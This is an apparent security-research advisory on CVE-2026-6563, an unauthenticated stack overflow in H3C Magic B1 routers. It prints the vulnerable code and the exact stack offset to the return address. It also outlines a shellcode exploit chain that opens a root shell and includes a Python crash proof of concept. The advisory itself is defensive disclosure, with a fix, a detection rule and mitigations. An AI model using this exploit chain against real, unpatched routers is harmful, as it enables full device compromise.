home intel cve-2026-6563-h3c-magic-b1-setapwifi-buffer-overflow
CVE Analysis 2026-04-19 · 8 min read

CVE-2026-6563: Stack Overflow in H3C Magic B1 SetAPWifiorLedInfoById

H3C Magic B1 routers up to 100R004 expose an unauthenticated stack buffer overflow in SetAPWifiorLedInfoById via /goform/aspForm. Remote code execution is trivially achievable with a crafted param argument.

#buffer-overflow#remote-code-execution#h3c-magic-b1#web-application#parameter-injection
Technical mode — for security professionals
▶ Attack flow — CVE-2026-6563 · Buffer Overflow
ATTACKERRemote / unauthBUFFER OVERFLOWCVE-2026-6563Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-6563 is a stack-based buffer overflow in the H3C Magic B1 wireless router affecting all firmware revisions up to and including 100R004. The vulnerable surface is the CGI handler exposed at /goform/aspForm, specifically the action handler dispatched when the action parameter resolves to SetAPWifiorLedInfoById. An attacker with network access to the management interface — LAN-side by default, but WAN-side on misconfigured deployments — can send a single crafted HTTP POST request to achieve arbitrary code execution as the web daemon process, which typically runs with root privileges on embedded Linux targets of this class.

The vendor was notified prior to disclosure and did not respond. No patch exists as of publication. CVSS 8.8 (HIGH) reflects the low-complexity, network-reachable nature of the primitive with no authentication requirement in default configurations.

Root cause: SetAPWifiorLedInfoById copies an attacker-controlled CGI parameter into a fixed-size stack buffer using strcpy without any prior length validation, allowing unbounded overwrites of the stack frame including the saved return address.

Affected Component

The entry point is the standard H3C embedded web server binary, commonly named httpd or webs, compiled for MIPS32 little-endian (the B1 uses a MediaTek MT7628 SoC). CGI form actions are dispatched through a central aspForm handler that reads the action field from POST body, performs a string-table lookup, and calls the matching function pointer.

The affected function: SetAPWifiorLedInfoById. The affected parameter: param (passed as a URL-encoded field in the POST body). No session token, CSRF token, or authentication cookie is validated before param is processed.

Root Cause Analysis

Reconstructed pseudocode from firmware unpacked via binwalk on a 100R004 image. The websGetVar call returns a pointer directly into the HTTP request body buffer — fully attacker-controlled length.


// Handler dispatch table entry:
// { "SetAPWifiorLedInfoById", SetAPWifiorLedInfoById }

int SetAPWifiorLedInfoById(webs_t wp, char *path, char *query) {
    char    apid_buf[32];
    char    param_buf[256];   // fixed-size stack buffer
    char    led_buf[64];
    int     ap_index;
    char   *param_val;
    char   *apid_val;

    apid_val  = websGetVar(wp, "apId",  "0");
    param_val = websGetVar(wp, "param", "");   // attacker-controlled, no length limit

    strncpy(apid_buf, apid_val, sizeof(apid_buf) - 1);
    ap_index = atoi(apid_buf);

    // BUG: strcpy with no bounds check — param_val may be arbitrarily long,
    // param_buf is only 256 bytes on the stack.
    strcpy(param_buf, param_val);             // <-- OVERFLOW HERE

    // Post-copy parsing — never reached with large input
    parse_wifi_led_params(param_buf, ap_index);
    websWrite(wp, "OK");
    return 0;
}

The websGetVar implementation returns a pointer into the raw POST body; no maximum length is enforced at the retrieval layer. The subsequent strcpy into the 256-byte param_buf will write as many bytes as the attacker supplies, limited only by the total POST body size accepted by the HTTP server (typically 4–8 KB on this class of device — more than sufficient).

Memory Layout

Stack frame layout for SetAPWifiorLedInfoById on MIPS32, reconstructed from the function prologue (addiu $sp, $sp, -0x1c0):


struct SetAPWifiorLedInfoById_frame {
    /* -0x1c0 */ uint8_t  led_buf[64];       // +0x000 from frame base
    /* -0x180 */ uint8_t  param_buf[256];    // +0x040  <-- overflow target starts here
    /* -0x080 */ uint8_t  apid_buf[32];      // +0x140
    /* -0x060 */ int      ap_index;          // +0x160
    /* -0x05c */ char    *param_val;         // +0x164  -- overwritten at +0x1a0
    /* -0x058 */ char    *apid_val;          // +0x168
    /* -0x010 */ uint32_t saved_s_regs[4];   // $s0-$s3
    /* -0x000 */ uint32_t saved_ra;          // saved return address  <-- target
};
// Total frame: 0x1c0 bytes (448 bytes)
// Distance from param_buf[0] to saved_ra: 0x1c0 - 0x040 = 0x180 (384 bytes)

STACK STATE BEFORE OVERFLOW (grows downward, MIPS convention):
  [  sp+0x1c0  ]  caller frame
  [  sp+0x1b8  ]  saved_ra        (legitimate return into aspForm dispatcher)
  [  sp+0x1b0  ]  saved $s3
  [  sp+0x1a8  ]  saved $s2
  [  sp+0x1a0  ]  saved $s1
  [  sp+0x198  ]  saved $s0
  ...
  [  sp+0x040  ]  param_buf[0]    <-- strcpy writes here
  [  sp+0x000  ]  led_buf[0]

STACK STATE AFTER OVERFLOW (param = 384 bytes of padding + 4-byte payload):
  [  sp+0x1c0  ]  caller frame
  [  sp+0x1b8  ]  saved_ra        = 0x41414141  (ATTACKER CONTROLLED)
  [  sp+0x1b0  ]  saved $s3       = 0x41414141
  [  sp+0x1a8  ]  saved $s2       = 0x41414141
  [  sp+0x1a0  ]  saved $s1       = 0x41414141
  [  sp+0x198  ]  saved $s0       = 0x41414141
  ...
  [  sp+0x040  ]  param_buf       = "AAAA...AAAA"  (384 bytes)
  [  sp+0x000  ]  led_buf         = (clobbered)

Exploitation Mechanics

Full RCE from a single unauthenticated POST. The MT7628 runs uClinux; stack is typically executable (no MMU, no NX enforcement) on older firmware builds, making shellcode injection straightforward. On builds with -mips32r2 and stack canaries, a ROP chain through the libc shipped with the firmware suffices.


EXPLOIT CHAIN:
1. Identify management interface — default 192.168.0.1:80, no auth on /goform/aspForm
2. Craft HTTP POST:
     POST /goform/aspForm HTTP/1.1
     Host: 192.168.0.1
     Content-Type: application/x-www-form-urlencoded
     Content-Length: 
     action=SetAPWifiorLedInfoById&apId=0¶m=
3. payload = [shellcode (<=64b)] + [padding to offset 0x180] + [ret_addr]
     - shellcode placed at param_buf base (sp+0x040, known via MIPS ABI)
     - padding = 0x180 - len(shellcode) bytes of 'A'
     - ret_addr = stack address of param_buf (MIPS: no ASLR on uClinux)
4. strcpy copies payload into param_buf, overwrites saved_ra
5. SetAPWifiorLedInfoById returns: jr $ra -> shellcode executes
6. Shellcode: execve("/bin/sh", ["/bin/sh", "-c", cmd], NULL)
     — process is root; full device compromise

The absence of ASLR on uClinux (flat memory model, no CONFIG_MMU) means the stack base is static per firmware build. Stack addresses can be leaked from verbose error pages or inferred from the firmware ELF load address plus known heap/stack sizing.

Proof-of-concept trigger (no shellcode, confirms crash):


import requests

TARGET  = "http://192.168.0.1"
ENDPT   = "/goform/aspForm"

# 384 bytes to reach saved_ra, then overwrite with recognizable sentinel
padding  = b"A" * 384
sentinel = b"\xef\xbe\xad\xde"   # 0xdeadbeef — confirms $ra control in crash log
param    = (padding + sentinel).decode("latin-1")

data = {
    "action": "SetAPWifiorLedInfoById",
    "apId":   "0",
    "param":  param,
}

resp = requests.post(TARGET + ENDPT, data=data, timeout=5)
print(f"[*] Response: {resp.status_code} — device likely crashed/rebooted if no reply")

Patch Analysis

No official patch has been released. The correct remediation requires replacing the unchecked strcpy with a bounded copy and rejecting oversized input before any copy occurs:


// BEFORE (vulnerable — 100R004 and earlier):
char param_buf[256];
char *param_val = websGetVar(wp, "param", "");
strcpy(param_buf, param_val);    // unbounded copy

// AFTER (recommended fix):
#define PARAM_BUF_MAX  255

char param_buf[256];
char *param_val = websGetVar(wp, "param", "");

if (param_val == NULL || strlen(param_val) > PARAM_BUF_MAX) {
    websWrite(wp, "ERR: invalid param length");
    return -1;
}
strncpy(param_buf, param_val, PARAM_BUF_MAX);
param_buf[PARAM_BUF_MAX] = '\0';

Additionally, the same pattern likely exists in sibling handlers dispatched through the same aspForm table — any handler using websGetVar followed by strcpy into a stack buffer is a candidate. A comprehensive audit of all action handlers is necessary, not a point fix.

Detection and Indicators

Network-level detection. Any POST to /goform/aspForm with action=SetAPWifiorLedInfoById and a param field exceeding 256 bytes should be treated as a trigger attempt.


SNORT / SURICATA RULE:
alert http any any -> $HOME_NET 80 (
    msg:"CVE-2026-6563 H3C Magic B1 SetAPWifiorLedInfoById overflow attempt";
    flow:established,to_server;
    http.method; content:"POST";
    http.uri; content:"/goform/aspForm";
    http.request_body;
        content:"action=SetAPWifiorLedInfoById";
        content:"param="; distance:0;
        pcre:"/param=[^&]{257,}/";
    classtype:web-application-attack;
    sid:20266563; rev:1;
)

HOST INDICATORS:
- httpd process crash / watchdog restart loop
- Unexpected outbound connections from 192.168.0.1 post-reboot
- /var/log/messages: "Segmentation fault" in httpd context
- New admin account or modified /etc/passwd (post-exploitation)

Remediation

Immediate mitigations (no patch available):

  • Firewall the management interface — block port 80/443 from untrusted networks at the perimeter. The attack requires HTTP access to the router's web server.
  • If the device supports access control lists on the management plane, restrict /goform/aspForm to trusted source IPs only.
  • Consider replacing affected hardware with a supported platform; H3C did not respond to disclosure, suggesting no patch timeline exists.

For vendors shipping similar CGI frameworks: audit all websGetVar callsites. The pattern websGetVar → strcpy → stack buffer is endemic to this class of embedded web framework (GoAhead WebServer derivatives). A grep for strcpy.*websGetVar or a Semgrep rule matching this data flow will surface additional instances.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →